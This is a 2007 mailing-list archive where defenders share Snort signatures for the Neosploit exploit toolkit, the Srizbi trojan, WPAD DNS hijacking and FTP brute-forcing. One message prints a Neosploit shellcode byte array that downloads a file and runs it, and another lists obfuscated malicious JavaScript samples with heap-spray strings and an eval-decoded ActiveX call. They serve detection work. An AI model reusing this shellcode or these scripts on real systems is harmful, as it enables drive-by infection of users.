From dxp2532 at gmail.com Sat Dec 1 02:19:21 2007 From: dxp2532 at gmail.com (dxp) Date: Sat Dec 1 02:25:50 2007 Subject: [Bleeding-sigs] [Fwd: Several signatures to detect Neosploit exploit toolkit attacks] In-Reply-To: <47509DCE.5070500@gmail.com> References: <474FAA3F.4040105@sensorynetworks.com> <47509DCE.5070500@gmail.com> Message-ID: <1196475561.5728.19.camel@kinta> Sorry about that. I don't speak PCRE too well. I should've mentioned that the first two rules will detect the request for a loader after client has been exploited. The last rule detects the JS code containing the exploit. What you've probably seen were requests for the Neosplit's JS script. Usually it has this form: "?p=user" The toolkit builds the exploit URL at runtime (server side) and each number has a specific meaning for statistics and tracking. One could combine both loader signatures into one. There are several versions of Neosploit, latest is 2.0 I think, and 1.5 added another field that's why it differs from 1.0. I don't have the captures but here's shellcode from one of the exploits: --- snip --- unsigned char Shared_RW_slide_shellcode[] = { 0x33, 0xf6, 0xe9, 0x09, 0x01, 0x00, 0x00, 0x5f, 0x33, 0xc0, 0x64, 0x03, 0x40, 0x30, 0x78, 0x0c, 0x8b, 0x40, 0x0c, 0x8b, 0x70, 0x1c, 0xad, 0x8b, 0x68, 0x08, 0xeb, 0x09, 0x8b, 0x40, 0x34, 0x8d, 0x40, 0x7c, 0x8b, 0x68, 0x3c, 0x8b, 0xf7, 0x6a, 0x03, 0x59, 0xe8, 0x9c, 0x00, 0x00, 0x00, 0xe2, 0xf9, 0x68, 0x6f, 0x6e, 0x00, 0x00, 0x68, 0x75, 0x72, 0x6c, 0x6d, 0x54, 0xff, 0x16, 0x8b, 0xe8, 0xe8, 0x86, 0x00, 0x00, 0x00, 0x68, 0x33, 0x32, 0x00, 0x00, 0x68, 0x75, 0x73, 0x65, 0x72, 0x54, 0xff, 0x16, 0x8b, 0xe8, 0x6a, 0x02, 0x59, 0xe8, 0x6f, 0x00, 0x00, 0x00, 0xe2, 0xf9, 0x83, 0xec, 0x20, 0x8b, 0xdc, 0xc7, 0x03, 0x63, 0x3a, 0x5c, 0x69, 0xc7, 0x43, 0x04, 0x6e, 0x66, 0x6f, 0x2e, 0xc7, 0x43, 0x08, 0x65, 0x78, 0x65, 0x00, 0x6a, 0x00, 0x6a, 0x00, 0x53, 0x57, 0x6a, 0x00, 0xff, 0x56, 0x0c, 0x8b, 0xdc, 0x6a, 0x01, 0x53, 0xff, 0x56, 0x08, 0x6a, 0x1a, 0x6a, 0x40, 0xff, 0x56, 0x04, 0x8b, 0xe8, 0xeb, 0x0c, 0x5f, 0x6a, 0x00, 0x57, 0x6a, 0x00, 0x55, 0x6a, 0x00, 0xff, 0x56, 0x14, 0xe8, 0xef, 0xff, 0xff, 0xff, 0x55, 0x8b, 0xec, 0x83, 0x7d, 0x0c, 0x0f, 0x75, 0x16, 0xbe, 0x01, 0x00, 0x00, 0x00, 0xeb, 0x5a, 0x5f, 0x8b, 0xf7, 0x83, 0xc6, 0x05, 0x6a, 0x00, 0x8b, 0x45, 0x08, 0x50, 0xff, 0x56, 0x10, 0x33, 0xc0, 0x5d, 0xc2, 0x10, 0x00, 0x51, 0x56, 0x8b, 0x75, 0x3c, 0x8b, 0x74, 0x2e, 0x78, 0x03, 0xf5, 0x56, 0x8b, 0x76, 0x20, 0x03, 0xf5, 0x33, 0xc9, 0x49, 0x41, 0xad, 0x03, 0xc5, 0x33, 0xdb, 0x0f, 0xbe, 0x10, 0x3a, 0xd6, 0x74, 0x08, 0xc1, 0xcb, 0x0d, 0x03, 0xda, 0x40, 0xeb, 0xf1, 0x3b, 0x1f, 0x75, 0xe7, 0x5e, 0x8b, 0x5e, 0x24, 0x03, 0xdd, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x5e, 0x1c, 0x03, 0xdd, 0x8b, 0x04, 0x8b, 0x03, 0xc5, 0xab, 0x5e, 0x59, 0xc3, 0x83, 0xfe, 0x00, 0x74, 0x05, 0xe8, 0x9c, 0xff, 0xff, 0xff, 0xe8, 0xe8, 0xfe, 0xff, 0xff, 0x8e, 0x4e, 0x0e, 0xec, 0xec, 0x97, 0x03, 0x0c, 0x98, 0xfe, 0x8a, 0x0e, 0x36, 0x1a, 0x2f, 0x70, 0x83, 0x4f, 0x5d, 0xc9, 0x60, 0x08, 0xc3, 0xbf, 0x68, 0x74, 0x74, 0x70, 0x3a, 0x2f, 0x2f, 0x30, 0x30, 0x2e, 0x30, 0x30, 0x2e, 0x30, 0x30, 0x30, 0x2e, 0x30, 0x30, 0x30, 0x2f, 0x63, 0x67, 0x69, 0x2d, 0x62, 0x69, 0x6e, 0x2f, 0x6e, 0x73, 0x70, 0x31, 0x35, 0x2f, 0x69, 0x6e, 0x2e, 0x63, 0x67, 0x69, 0x3f, 0x75, 0x32, 0x5f, 0x31, 0x5f, 0x36, 0x30, 0x30, 0x5f, 0x38, 0x5f, 0x30, 0x5f, 0x34, 0x31, 0x30, 0x37, 0x30, 0x32, 0x30, 0x39, 0x31, 0x34, 0x5f, 0x36, 0x30, 0x36, 0x38, 0x36, 0x38, 0x35, 0x38, 0x31, 0x5f, 0x33, 0x36, 0x35, 0x33, 0x39, 0x36, 0x31, 0x31, 0x34, 0x38, 0x00 }; unsigned int Shared_RW_slide_shellcode_len = 398; --- snip --- On Fri, 2007-11-30 at 18:33 -0500, Blake Hartstein wrote: > For those of you that didn't eat your regular expressions for breakfast, > one of those URLs might look like: (where \d is a number 0-9) > > http://site/page?u\d_\d_\d{3,4}_\d_\d_\d{10}_\d{10}[_\da-z]{0,6} > > So, it looks like we detect a bunch of numbers and underscores... > dpx, do you have a reference or sample packet capture for this activity? I see a lot of other URLs for neosploit, but never this one. > > Blake > System Administrator wrote: > > We received these rules on the bleeding@bleedingthreats.net alias, but > > they seem more appropriate for the Bleeding Sigs mailing list. > > > > dxp, thank you for your contribution and if you wish to join the mailing > > list, please visit > > http://lists.bleedingthreats.net/cgi-bin/mailman/listinfo/bleeding-sigs > > > > Kind regards, > > David Taylor. > > > > -------- Original Message -------- > > Subject: Several signatures to detect Neosploit exploit toolkit attacks > > Date: Tue, 27 Nov 2007 11:04:14 -0500 > > From: dxp > > To: bleeding@bleedingthreats.net > > > > alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"LOCAL > > Neosploit 1.0.x URL Loader"; flow:to_server,established; content:"GET"; > > depth:3; > > pcre:"/\?u[0-9]{1}_[0-9]{1}_[0-9]{3,4}_[0-9]{1}_[0-9]{1}_[0-9]{10}_[0-9]{10}[_0-9a-z]{0,6}\s+HTTP\/[01]{1}\.[01]{1}\r\n/i"; > > sid:2007253201; rev:2;) > > # > > alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"LOCAL > > Neosploit 1.5.x URL Loader"; flow:to_server,established; content:"GET"; > > depth:3; > > pcre:"/\?u\d_\d_\d{3,4}_\d_\d_\d{10}_\d{10}_\d{10}[_\da-z]{0,9}\s+HTTP\/[01]{1}\.[01]{1}\r\n/i"; > > sid:2007253202; rev:1;) > > # > > alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any (msg:"LOCAL > > Neosploit script"; flow:established,from_server; content:" decipher("fwl2btEOLwX_AhsKLJSz7hinGDdzUvajh@EzEIlwApEVRvZw") eval(decode64('bmV3IEFjdGl2ZVhPYmplY3QoJ1dlYlZpZXdGb2xkZXJJY29uLldlYlZpZXdGb2xkZXJJY29uLjEnKTs=')); unescape(String.fromCharCode(37,117,57,48,57,48,37,117,57,48,57,48,37,117,53,52,101,98,37,117,55)); unescape("document.write%252528unescape%252528%252522%2525253Cscript% 2525253E%2525250D%2525250A%2525253C%25252521); $script, OS, Browser, Browser's version, Exploit #, unknown, > Custom hash of REMOTE_ADDR, Custom hash of HTTP_REFERER, > $username (optional). > > I think for generic malicious javascript detection another thread is > needed. I'll send some more info on what I've found useful shortly. > > > On Mon, 2007-12-03 at 19:21 -0500, Blake Hartstein wrote: > > dxp, > > Sorry it took me so long to reply to your email. We value your contribution. > > > > dxp wrote: > > > I should've mentioned that the first two rules will detect the request > > > for a loader after client has been exploited. The last rule detects the > > > JS code containing the exploit. > > > > > We are thinking of implementing some generic malicious JavaScript > > detectors, your rule is a good start to detect, but there are many other > > JavaScript strings we can detect. > > I'm looking through my samples this week to see other variants > > "unescape()" and etc, let me know if you have any other JavaScript style > > attacks so I can add them also. > > > > > What you've probably seen were requests for the Neosplit's JS script. > > > Usually it has this form: "?p=user" > > > > > > The toolkit builds the exploit URL at runtime (server side) and each > > > number has a specific meaning for statistics and tracking. One could > > > combine both loader signatures into one. There are several versions of > > > Neosploit, latest is 2.0 I think, and 1.5 added another field that's why > > > it differs from 1.0. > > > > > So can you tell me what each numbers mean what in the URL (version, > > tracking, etc)? Could they be longer/shorter than 3 or 4 digits? > > Does the "?p=user" have any other identifiable characteristics? > > > > >> http://site/page?u\d_\d_\d{3,4}_\d_\d_\d{10}_\d{10}[_\da-z]{0,6} > > >> > > Blake -- -=[ dxp ]=- http://pgp.mit.edu:11371/pks/lookup?op=get&search=0xA3F3C6E3 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part Url : http://lists.bleedingthreats.net/pipermail/bleeding-sigs/attachments/20071208/c6d14158/attachment.pgp From urule99 at gmail.com Sun Dec 9 06:12:32 2007 From: urule99 at gmail.com (Blake Hartstein) Date: Sun Dec 9 06:19:19 2007 Subject: [Bleeding-sigs] Re: Generic detection for malicious Javascript code In-Reply-To: <1197152382.6038.16.camel@kinta> References: <474FAA3F.4040105@sensorynetworks.com> <47509DCE.5070500@gmail.com> <1196475561.5728.19.camel@kinta> <47549D8B.7000602@gmail.com> <1196779555.5799.2.camel@kinta> <1197152382.6038.16.camel@kinta> Message-ID: <475B8750.8060803@gmail.com> Nice dxp, I'll be adding rules for these JavaScript patterns shortly. If anyone else has different malicious JavaScript patterns or encodings please send them to the list. Blake dxp wrote: > After reviewing all of the malicious web pages, which came across my > wires in the past year or so, this list is the result. > > It was actually quite interesting reviewing this data to see the > evolution of obfuscation techniques. One can write separate signatures > for each of the samples but as Blake mentioned earlier it would be much > more beneficial to have generic detection. > > Later on, I'll try to categorize the samples by the toolkits which they > came from for those who want to know which tools are used to exploit > their users. > > Each separate line/block is a unique sample: > > --- snip --- > "%u54eb%u758b%u8b3c%u3574%u0378%u56f5%u768b%u0320" > > unescape("%u4040%u4040%uFFE8%uFFFF%uC3FF%u8D5E%u104E") > > document.write( unescape('%3C%73%63%72%69%70%74%3E%66%75%6E%63%74%69%6F% > 6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E')) > > '%2A8Hxhwnuy%2A75qfslzflj%2A8IOf%7BfXhwnuy%2A8_Jkzshynts%2A75ih%2A7%3D% > 7D' > > "l1hWsOPTVkPUd3tUFWAa7f9bF1hWP3tUecNXAOPa7vtTFW6I7a9KG3gWcW62OjPankV" > > > > decipher("fwl2btEOLwX_AhsKLJSz7hinGDdzUvajh@EzEIlwApEVRvZw") > > eval(decode64('bmV3IEFjdGl2ZVhPYmplY3QoJ1dlYlZpZXdGb2xkZXJJY29uLldlYlZpZXdGb2xkZXJJY29uLjEnKTs=')); > > unescape(String.fromCharCode(37,117,57,48,57,48,37,117,57,48,57,48,37,117,53,52,101,98,37,117,55)); > > unescape("document.write%252528unescape%252528%252522%2525253Cscript% > 2525253E%2525250D%2525250A%2525253C%25252521); > > > $script, OS, Browser, Browser's version, Exploit #, unknown, >> Custom hash of REMOTE_ADDR, Custom hash of HTTP_REFERER, >> $username (optional). >> >> I think for generic malicious javascript detection another thread is >> needed. I'll send some more info on what I've found useful shortly. >> >> >> On Mon, 2007-12-03 at 19:21 -0500, Blake Hartstein wrote: >> >>> dxp, >>> Sorry it took me so long to reply to your email. We value your contribution. >>> >>> dxp wrote: >>> >>>> I should've mentioned that the first two rules will detect the request >>>> for a loader after client has been exploited. The last rule detects the >>>> JS code containing the exploit. >>>> >>>> >>> We are thinking of implementing some generic malicious JavaScript >>> detectors, your rule is a good start to detect, but there are many other >>> JavaScript strings we can detect. >>> I'm looking through my samples this week to see other variants >>> "unescape()" and etc, let me know if you have any other JavaScript style >>> attacks so I can add them also. >>> >>> >>>> What you've probably seen were requests for the Neosplit's JS script. >>>> Usually it has this form: "?p=user" >>>> >>>> The toolkit builds the exploit URL at runtime (server side) and each >>>> number has a specific meaning for statistics and tracking. One could >>>> combine both loader signatures into one. There are several versions of >>>> Neosploit, latest is 2.0 I think, and 1.5 added another field that's why >>>> it differs from 1.0. >>>> >>>> >>> So can you tell me what each numbers mean what in the URL (version, >>> tracking, etc)? Could they be longer/shorter than 3 or 4 digits? >>> Does the "?p=user" have any other identifiable characteristics? >>> >>> >>>>> http://site/page?u\d_\d_\d{3,4}_\d_\d_\d{10}_\d{10}[_\da-z]{0,6} >>>>> >>>>> >>> Blake >>> From jim at jamesmcquaid.com Wed Dec 12 03:13:46 2007 From: jim at jamesmcquaid.com (Jim McQuaid) Date: Wed Dec 12 03:20:35 2007 Subject: [Bleeding-sigs] RBN codec drop sig In-Reply-To: <20071209120010.34A09230014@sb03.us.bleedingsnort.com> Message-ID: <78675.64617.qm@web56011.mail.re3.yahoo.com> I'm testing a simple sig for Firefox Firekeeper for use on my kids computers. The allowed syntax is slightly different: drop(url_re:"/\.codec$|\.exe$/i"; reference:url,www.bleedingthreats.net;) On my LAN, it silently drops many of the RBN fake codec malware files. Can any of you test this to validate that it is not one of my other security applications doing the dropping? Thank you, James From cunningpike at gmail.com Wed Dec 12 22:56:38 2007 From: cunningpike at gmail.com (CunningPike) Date: Wed Dec 12 23:03:31 2007 Subject: [Bleeding-sigs] Proposed rev for 2002383 Message-ID: <47606726.2000106@gmail.com> Basically, increasing the dsize from <30 to <65 - we missed an attempt the other day because the response from this server was longer than 30 bytes: alert tcp $HOME_NET 21 -> $EXTERNAL_NET any (msg:"BLEEDING-EDGE SCAN Potential FTP Brute-Force attempt"; flow:from_server,established; dsize:<65; content:"530 "; depth:4; pcre:"/530\s+(Login|User|Failed|Not)/smi"; classtype:unsuccessful-user; threshold: type threshold, track by_dst, count 5, seconds 300; sid:2002383; rev:8;) Any objections? CP From urule99 at gmail.com Thu Dec 13 04:05:09 2007 From: urule99 at gmail.com (Blake Hartstein) Date: Thu Dec 13 04:11:50 2007 Subject: [Bleeding-sigs] Proposed rev for 2002383 In-Reply-To: <47606726.2000106@gmail.com> References: <47606726.2000106@gmail.com> Message-ID: <4760AF75.30802@gmail.com> Cool CP, What did your FTP response look like? what was the extra/other data in the false negative? I'm using the 5 hour rule, to assume there are no objections. I've made those changes, let us know if you experience any problems. Blake CunningPike wrote: > Basically, increasing the dsize from <30 to <65 - we missed an attempt > the other day because the response from this server was longer than 30 > bytes: > > alert tcp $HOME_NET 21 -> $EXTERNAL_NET any (msg:"BLEEDING-EDGE SCAN > Potential FTP Brute-Force attempt"; flow:from_server,established; > dsize:<65; content:"530 "; depth:4; > pcre:"/530\s+(Login|User|Failed|Not)/smi"; classtype:unsuccessful-user; > threshold: type threshold, track by_dst, count 5, seconds 300; > sid:2002383; rev:8;) > > Any objections? > > CP > From urule99 at gmail.com Thu Dec 13 04:13:35 2007 From: urule99 at gmail.com (Blake Hartstein) Date: Thu Dec 13 04:20:19 2007 Subject: [Bleeding-sigs] RBN codec drop sig In-Reply-To: <78675.64617.qm@web56011.mail.re3.yahoo.com> References: <78675.64617.qm@web56011.mail.re3.yahoo.com> Message-ID: <4760B16F.7010805@gmail.com> James, You attempting to drop all files with the extensions: EXE or CODEC, is that right? I'll get around to testing this before the end of the week and let you know how it goes. Blake Jim McQuaid wrote: > I'm testing a simple sig for Firefox Firekeeper for > use on my kids computers. The allowed syntax is > slightly different: > > drop(url_re:"/\.codec$|\.exe$/i"; > reference:url,www.bleedingthreats.net;) > > On my LAN, it silently drops many of the RBN fake > codec malware files. Can any of you test this to > validate that it is not one of my other security > applications doing the dropping? > > Thank you, > > James > From urule99 at gmail.com Thu Dec 13 05:41:48 2007 From: urule99 at gmail.com (Blake Hartstein) Date: Thu Dec 13 05:48:31 2007 Subject: [Bleeding-sigs] New Rules: Neosploit, Srizbi Message-ID: <4760C61C.8040006@gmail.com> Detects Neosploit URL Loader. Once exploit succeeds the embedded shellcode will retrieve that long URL. Here's the structure ("%s?u%hu_%hu_%u_%hu_%lu_%lu_%lu_%s"): $script, OS, Browser, Browser's version, Exploit #, unknown, Custom hash of REMOTE_ADDR, Custom hash of HTTP_REFERER, $username (optional). #Thanks to dxp alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"BLEEDING-EDGE WEB Neosploit 1.5.x URL Loader"; flow:to_server,established; content:"GET "; depth:4; nocase; pcre:"/\?u\d_\d_\d{3,4}_\d_\d_\d{10}_\d{10}_\d{9,10}[_\da-z]{0,9}$/Ui"; classtype:web-application-attack; sid:2007705; rev:1; ) Read SecureWorks writeup of Srizbi here: www.secureworks.com/research/threats/ronpaul. Also see sid:2007662 for our previous rule that detects the post parameters related to this threat. Very interesting code, it patches the network stack so that it evades sniffers and firewalls on the local machine. #by Joe Stewart from SecureWorks alert udp $HOME_NET 1024: -> $EXTERNAL_NET 4099 (msg:"BLEEDING-EDGE TROJAN Srizbi registering with controller"; dsize:20; content:"|2d|"; offset:6; content:"|2d|"; distance:6; within:1; classtype:trojan-activity; reference:url:www.secureworks.com/research/threats/ronpaul; sid:2007706; rev:1; ) -Blake From urule99 at gmail.com Thu Dec 13 05:50:30 2007 From: urule99 at gmail.com (Blake Hartstein) Date: Thu Dec 13 05:57:21 2007 Subject: [Bleeding-sigs] New Rules: WPAD / Web Proxy Autodiscovery Protocol Message-ID: <4760C826.4080605@gmail.com> This is an interesting contribution. The wpad vulnerability only affects second level domains, such as .com.au, .com.sg .co.in .co.uk. Many US Clients are not affected, but there are workaround available for those that are vulnerable. Adam also sent us this description: As the microsoft advisory notes (this isn't patched yet), Internet Explorer (and other applications that use Internet Explorer settings, such as Winamp and system updating utilities) use WPAD (Web Proxy AutoDiscovery Protocol) to search out automatically to find a suitable proxy server to use. The risk is that client systems will automatically search out (if you dont have a DNS entry on your local domain for wpad.company.com.au) wpad.co.in and get its proxy server definition from that remote server, which is not not controlled by your organization. Therefore, an owner of wpad.com.au etc, can define a proxy to use, which can therefore mean a MITM scenario is built. More information: http://en.wikipedia.org/wiki/Web_Proxy_Autodiscovery_Protocol http://www.microsoft.com/technet/security/advisory/945713.mspx #by Adam Pointon at sentinelsecurity.com.au alert udp $HOME_NET any -> $DNS_SERVERS 53 (msg:"BLEEDING-EDGE DNS Possible MITM lookup for WPAD.com"; content:"|04|wpad|03|com|02|"; nocase; reference:url,support.microsoft.com/kb/247333; classtype:attempted-user; sid:2007707; rev:1;) alert udp $HOME_NET any -> $DNS_SERVERS 53 (msg:"BLEEDING-EDGE DNS Possible MITM lookup for WPAD.co"; content:"|04|wpad|02|co|02|"; nocase; reference:url,support.microsoft.com/kb/247333; classtype:attempted-user; sid:2007708; rev:1;) alert udp $HOME_NET any -> $DNS_SERVERS 53 (msg:"BLEEDING-EDGE DNS Possible MITM lookup for WPAD.net"; content:"|04|wpad|03|net|02|"; nocase; reference:url,support.microsoft.com/kb/247333; classtype:attempted-user; sid:2007709; rev:1;) alert udp $HOME_NET any -> $DNS_SERVERS 53 (msg:"BLEEDING-EDGE DNS Possible MITM lookup for WPAD.org"; content:"|04|wpad|03|org|02|"; nocase; reference:url,support.microsoft.com/kb/247333; classtype:attempted-user; sid:2007710; rev:1;) Enjoy, comments welcome. -Blake From cunningpike at gmail.com Thu Dec 13 05:55:23 2007 From: cunningpike at gmail.com (CunningPike) Date: Thu Dec 13 06:02:09 2007 Subject: [Bleeding-sigs] New Rules: WPAD / Web Proxy Autodiscovery Protocol In-Reply-To: <4760C826.4080605@gmail.com> References: <4760C826.4080605@gmail.com> Message-ID: <4760C94B.1050800@gmail.com> Awesome - many Canadian domains are second level, e.g. bc.ca, on.ca and so on. CP Blake Hartstein wrote: > This is an interesting contribution. The wpad vulnerability only affects > second level domains, such as .com.au, .com.sg .co.in .co.uk. Many US > Clients are not affected, but there are workaround available for those > that are vulnerable. > Adam also sent us this description: > > As the microsoft advisory notes (this isn't patched yet), Internet > Explorer (and other applications that use Internet Explorer settings, > such as Winamp and system updating utilities) use WPAD (Web Proxy > AutoDiscovery Protocol) to search out automatically to find a suitable > proxy server to use. > > The risk is that client systems will automatically search out (if you > dont have a DNS entry on your local domain for wpad.company.com.au) > wpad.co.in and get its proxy server definition from that remote server, > which is not not controlled by your organization. > > Therefore, an owner of wpad.com.au etc, can define a proxy to use, which > can therefore mean a MITM scenario is built. > More information: > http://en.wikipedia.org/wiki/Web_Proxy_Autodiscovery_Protocol > http://www.microsoft.com/technet/security/advisory/945713.mspx > > #by Adam Pointon at sentinelsecurity.com.au > alert udp $HOME_NET any -> $DNS_SERVERS 53 (msg:"BLEEDING-EDGE DNS > Possible MITM lookup for WPAD.com"; content:"|04|wpad|03|com|02|"; > nocase; reference:url,support.microsoft.com/kb/247333; > classtype:attempted-user; sid:2007707; rev:1;) > alert udp $HOME_NET any -> $DNS_SERVERS 53 (msg:"BLEEDING-EDGE DNS > Possible MITM lookup for WPAD.co"; content:"|04|wpad|02|co|02|"; nocase; > reference:url,support.microsoft.com/kb/247333; classtype:attempted-user; > sid:2007708; rev:1;) > alert udp $HOME_NET any -> $DNS_SERVERS 53 (msg:"BLEEDING-EDGE DNS > Possible MITM lookup for WPAD.net"; content:"|04|wpad|03|net|02|"; > nocase; reference:url,support.microsoft.com/kb/247333; > classtype:attempted-user; sid:2007709; rev:1;) > alert udp $HOME_NET any -> $DNS_SERVERS 53 (msg:"BLEEDING-EDGE DNS > Possible MITM lookup for WPAD.org"; content:"|04|wpad|03|org|02|"; > nocase; reference:url,support.microsoft.com/kb/247333; > classtype:attempted-user; sid:2007710; rev:1;) > > Enjoy, comments welcome. > -Blake > _______________________________________________ > Bleeding-sigs mailing list > Bleeding-sigs@bleedingthreats.net > http://lists.bleedingthreats.net/cgi-bin/mailman/listinfo/bleeding-sigs From dsmith at ecs.csus.edu Thu Dec 13 16:43:25 2007 From: dsmith at ecs.csus.edu (Dick Smith) Date: Thu Dec 13 16:50:09 2007 Subject: [Bleeding-sigs] Problem with bleeding-virus rules Message-ID: Hello, My snort ver 2.6 puked last night on the file bleeding-virus.rules I couldn't spot the syntax problem, can anyone else give me a clue? -- Dick Smith INTERNET: dsmith@csus.edu USnail: Computer Science Dept. __ ___ http://gaia.ecs.csus.edu/~dsmith : California State Univ. | \(___ Voice: (916) 278 - 7328 : 6000 J Street |__/____) FAX: (916) 278 - 6774 : Sacramento, CA 95819-6021 From pepperjack at afferentsecurity.com Thu Dec 13 16:48:59 2007 From: pepperjack at afferentsecurity.com (Jack Pepper) Date: Thu Dec 13 16:55:46 2007 Subject: [Bleeding-sigs] Re: typo on Srizbi In-Reply-To: <4760C61C.8040006@gmail.com> References: <4760C61C.8040006@gmail.com> Message-ID: <20071213104859.c7fjemfhck8wsw4c@mail.afferentsecurity.com> Quoting Blake Hartstein : > > #by Joe Stewart from SecureWorks > alert udp $HOME_NET 1024: -> $EXTERNAL_NET 4099 (msg:"BLEEDING-EDGE > TROJAN Srizbi registering with controller"; dsize:20; content:"|2d|"; > offset:6; content:"|2d|"; distance:6; within:1; > classtype:trojan-activity; > reference:url:www.secureworks.com/research/threats/ronpaul; sid:2007706; > rev:1; ) "url:" should be "url," . jp Framework? I don't need no stinking framework! ---------------------------------------------------------------- @fferent Security Labs: Isolate/Insulate/Innovate http://www.afferentsecurity.com From urule99 at gmail.com Thu Dec 13 16:52:12 2007 From: urule99 at gmail.com (Blake Hartstein) Date: Thu Dec 13 16:58:30 2007 Subject: [Bleeding-sigs] Re: typo on Srizbi In-Reply-To: <20071213104859.c7fjemfhck8wsw4c@mail.afferentsecurity.com> References: <4760C61C.8040006@gmail.com> <20071213104859.c7fjemfhck8wsw4c@mail.afferentsecurity.com> Message-ID: <4761633C.1050400@gmail.com> Fixed. sorry about that, you might consider upgrading to a newer snort version. I'll test with 2.6 in the future as well. Blake Jack Pepper wrote: > Quoting Blake Hartstein : > >> >> #by Joe Stewart from SecureWorks >> alert udp $HOME_NET 1024: -> $EXTERNAL_NET 4099 (msg:"BLEEDING-EDGE >> TROJAN Srizbi registering with controller"; dsize:20; content:"|2d|"; >> offset:6; content:"|2d|"; distance:6; within:1; >> classtype:trojan-activity; >> reference:url:www.secureworks.com/research/threats/ronpaul; sid:2007706; >> rev:1; ) > > "url:" should be "url," . > > jp > Framework? I don't need no stinking framework! > > ---------------------------------------------------------------- > @fferent Security Labs: Isolate/Insulate/Innovate > http://www.afferentsecurity.com > > _______________________________________________ > Bleeding-sigs mailing list > Bleeding-sigs@bleedingthreats.net > http://lists.bleedingthreats.net/cgi-bin/mailman/listinfo/bleeding-sigs From bleeding at bleedingthreats.net Thu Dec 13 20:00:13 2007 From: bleeding at bleedingthreats.net (bleeding@bleedingthreats.net) Date: Thu Dec 13 20:00:22 2007 Subject: [Bleeding-sigs] Bleeding Edge Threats Daily Signature Changes Message-ID: <20071213200015.857DA230028@sb03.us.bleedingsnort.com> [***] Results from Oinkmaster started Thu Dec 13 20:00:12 2007 [***] [+++] Added rules: [+++] 2007705 - BLEEDING-EDGE WEB Neosploit 1.5.x URL Loader (bleeding-web.rules) 2007706 - BLEEDING-EDGE TROJAN Srizbi registering with controller (bleeding-virus.rules) 2007707 - BLEEDING-EDGE DNS Possible MITM lookup for WPAD.com (bleeding.rules) 2007708 - BLEEDING-EDGE DNS Possible MITM lookup for WPAD.co (bleeding.rules) 2007709 - BLEEDING-EDGE DNS Possible MITM lookup for WPAD.net (bleeding.rules) 2007710 - BLEEDING-EDGE DNS Possible MITM lookup for WPAD.org (bleeding.rules) [///] Modified active rules: [///] 2002383 - BLEEDING-EDGE SCAN Potential FTP Brute-Force attempt (bleeding-scan.rules) [+++] Added non-rule lines: [+++] -> Added to bleeding-sid-msg.map (6): 2007705 || BLEEDING-EDGE WEB Neosploit 1.5.x URL Loader 2007706 || BLEEDING-EDGE TROJAN Srizbi registering with controller || url,www.secureworks.com/research/threats/ronpaul 2007707 || BLEEDING-EDGE DNS Possible MITM lookup for WPAD.com || url,support.microsoft.com/kb/247333 2007708 || BLEEDING-EDGE DNS Possible MITM lookup for WPAD.co || url,support.microsoft.com/kb/247333 2007709 || BLEEDING-EDGE DNS Possible MITM lookup for WPAD.net || url,support.microsoft.com/kb/247333 2007710 || BLEEDING-EDGE DNS Possible MITM lookup for WPAD.org || url,support.microsoft.com/kb/247333 -> Added to bleeding-virus.rules (1): #by Joe Stewart from SecureWorks -> Added to bleeding-web.rules (1): #Thanks to dxp -> Added to bleeding.rules (1): #by Adam Pointon at sentinelsecurity.com.au [---] Removed non-rule lines: [---] -> Removed from bleeding-sid-msg.map (214): 2500148 || BLEEDING-EDGE COMPROMISED Known Compromised or Hostile Host Traffic (149) || url,doc.bleedingthreats.net/bin/view/Main/CompromisedHosts 2500149 || BLEEDING-EDGE COMPROMISED Known Compromised or Hostile Host Traffic (150) || url,doc.bleedingthreats.net/bin/view/Main/CompromisedHosts 2500150 || BLEEDING-EDGE COMPROMISED Known Compromised or Hostile Host Traffic (151) || url,doc.bleedingthreats.net/bin/view/Main/CompromisedHosts 2500151 || BLEEDING-EDGE COMPROMISED Known Compromised or Hostile Host Traffic (152) || url,doc.bleedingthreats.net/bin/view/Main/CompromisedHosts 2500152 || BLEEDING-EDGE COMPROMISED Known Compromised or Hostile Host Traffic (153) || url,doc.bleedingthreats.net/bin/view/Main/CompromisedHosts 2500153 || BLEEDING-EDGE COMPROMISED Known Compromised or Hostile Host Traffic (154) || url,doc.bleedingthreats.net/bin/view/Main/CompromisedHosts 2500154 || BLEEDING-EDGE COMPROMISED Known Compromised or Hostile Host Traffic (155) || url,doc.bleedingthreats.net/bin/view/Main/CompromisedHosts 2500155 || BLEEDING-EDGE COMPROMISED Known Compromised or Hostile Host Traffic (156) || url,doc.bleedingthreats.net/bin/view/Main/CompromisedHosts 2500156 || BLEEDING-EDGE COMPROMISED Known Compromised or Hostile Host Traffic (157) || url,doc.bleedingthreats.net/bin/view/Main/CompromisedHosts